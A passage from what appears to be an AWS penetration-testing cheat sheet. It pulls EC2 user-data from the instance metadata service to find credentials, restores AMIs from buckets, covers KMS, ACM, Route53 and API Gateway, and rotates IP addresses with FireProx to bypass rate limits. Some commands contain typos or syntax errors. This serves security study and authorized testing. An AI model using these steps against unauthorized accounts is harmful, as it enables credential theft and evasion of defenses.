sudo mount /dev/<devicename> /mnt/attached-volume
EC2 Amazon Machine Image (AMI) Configuration
An AMI is an image of a VM. This image can be configured before it is deployed via cloud-init scripts. These scripts may contain interesting data like credentials or other intel.
The files are stored in /var/lib/cloud/instance/scripts/
List all available or user specific AMIs on the account via aws cli.
aws ec2 describe-images
aws ec2 decribe-images --owners <owner/account-id>
Get the configuration file contents through Instance Connect to the EC2 or through the SSM Session Manager via curl.
TOKEN=$(curl -s -XPUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data
Alternatively use aws cli to get the configuration files
TOKEN=$(curl -s -XPUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
instance_id=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id)
aws ec2 describe-instance-attribute --attribute UserData --instance-id $instance_id --region <region> --query UserData --output text | base64 -d
Restore an Amazon Machine Image (AMI)
An EC2 VM can be created from an Amazon Machine Image, that can be found in some S3 buckets.
aws ec2 create-restore-image-task --object-key <AmiImageNameInsideTheBucket> --bucket <bucketname> --name <nameForEC2>
An ImageId
will be returned. This imageId
is needed to create the image later.
Create a keypair to connect to the created VM via SSH. the keypair is set for EC2 instances by aws cli automatically.
aws ec2 create-key-pair --key-name <key-name> --query "KeyMaterial" --output text > ./mykeys.pem
A subnet for the the creation of the ec2 is needed, pick one via aws cli.
aws ec2 describe-subnets
Further, a security group with SSH access is needed
aws ec2 describe-security-groups
Create an image including the found information
aws ec2 run-instances --image-id <ImageIdOfGeneratedAMI> --instance-type t3a.micro --key-name <keyname> --subnet-id <subnetId> --security-group-id <securityGroupId>
Take a look at the EC2 dashboard inside the webconsole to see the IP address of the created EC2 instance. Connect to the VM via SSH, using the generated keypair.
Elastic Loadbalancer (ELB)
- The AutoScaling Group (ASG) scales down the oldest instance.
- Only the Loadbalancer gets exposed, not the EC2 VMs.
- A ELB can terminate the TLS session.
- An Application ELB can have a WAF attached
List available load-balancers via aws cli.
aws elbv2 describe-load-balancers --query Loadbalancers[].DNSName --output text
Encryption Services
Key Management Service (KMS)
Create encryption keys to be used on AWS services through their API. Encryption of storage can also be done through KMS keys.
A KMS key created in one account can be used in a second account as well. This means an attacker with sufficient privileges is able to (theoretically) lock you out of data encrypted with a key from another account. This can be mitigated through e.g. Object Versioning of an S3 bucket or MFA Delete.
Every KMS key has a (resource based) key policy attached to it. Therein is the
Prinicpal
key-value set to permit access to the key. If
arn:aws:iam::<accountId>:root
is set as Principal, every principal inside the
account is able to use the key.
An identity based policy can also be set, where the KMS key is mentioned in the
Resource
list.
Create a KMS Key
Create a KMS key using aws cli.
aws kms create-key
Create a Data Key
Use the created KMS key to create a data key via aws cli.
aws kms generate-data-key --key-id <KeyId> --number-of-bytes 32
Amazon Certificate Manger (ACM)
Manage certificate so 2e2 encryption through TLS which are then used for other AWS services.
Create an ACM TLS Certificate
Request a TLS certificate for a (sub-)domain via aws cli.
aws acm request-certificate --domain-name <AccountId>.example.org --validation-method DNS
Describe a Certificate
Details about a certificate can be queried via aws cli.
aws acm desribe-certificate --certificate-arn <certificate-arn>
DNS & Route53
List hosted DNS zone in an account via aws cli.
aws route53 list-hosted-zones
Register a Domain via Certificate through Route53
A subdomain can be useful for regular users and an attacker alike.
Create a file named create_record.json
containing certificate details from
the aws acm desription.
{
"Comment": "subdomain.example.com record"
"Changes": [
{
"Action": "CREATE",
"ResourceRecordSet":
{
"Name": "<ResourceRecord/Name>",
"Type": "CNAME",
"TTL": 300,
"ResourceRecords": [
{
"Value": "<ResourceRecord/Value"
}
]
}
}
]
}
Create the record from the previously created file via aws cli.
aws route53 change-resource-record-sets --hosted-zone-id <ZoneId> --change-batch file://create_record.json
Check the status of the created record using the ChangeInfo
ID from the last
step via aws cli. The final status needs to be "INSYNC"
aws route53 get-change --id <ChangeInfo/Id>
Describe the certificate to see the details via aws cli, like mentioned in the ACM chapter above.
API Gateway
An HTTP API consists of the following parts.
- HTTP Request Body
- HTTP Response
- Specific HTTP headers
- HTTP Method
- Endpoint the request is queried
It acts as a serverless reverse proxy for other APIs. There is an option for real-time, bidirectional websocket connection, besides regular RESTlike HTTP(S) APIs.
Monitoring is an integrated part of the Gateway.
Data the API Gateway uses is stored in an S3 bucket or a DynamoDB.
Microservices can be used through the API Gateway as well.
Lambda Authorizer
Lambda acts as a service proxy for the API Gateway. The API Gateway can be attached to other AWS resources, e.g. Lambda. The Lambda authorizer can be used to check for credentials to other resources. Authorization can be done via regular IAM or OAuth2. The authorization can be customized for access.
A policy is set for authorization against resources. Watch out for *
wildcards
inside these Lambda authorizer policies to get unexpected permissions.
Use an API Gateway as a Reverse Proxy
Rotation of IP addresses for an attack may bypass restrictions, like rate-limiting, set for an address. This can be done via VPNs, e.g. Tor or more suitable in this case using the AWS API Gateway to rotate the IP address via FireProx.
Use the Cloudshell inside a browser to clone and install the Fireprox
repository. Start fire.py
afterwards.
You can use Fireprox externally from the AWS, but you have set an endpoint via a URL to achieve a connection.
./fire.py --command create --url <URL>
Using any of these two lets you list existing APIs.
./fire.py --command list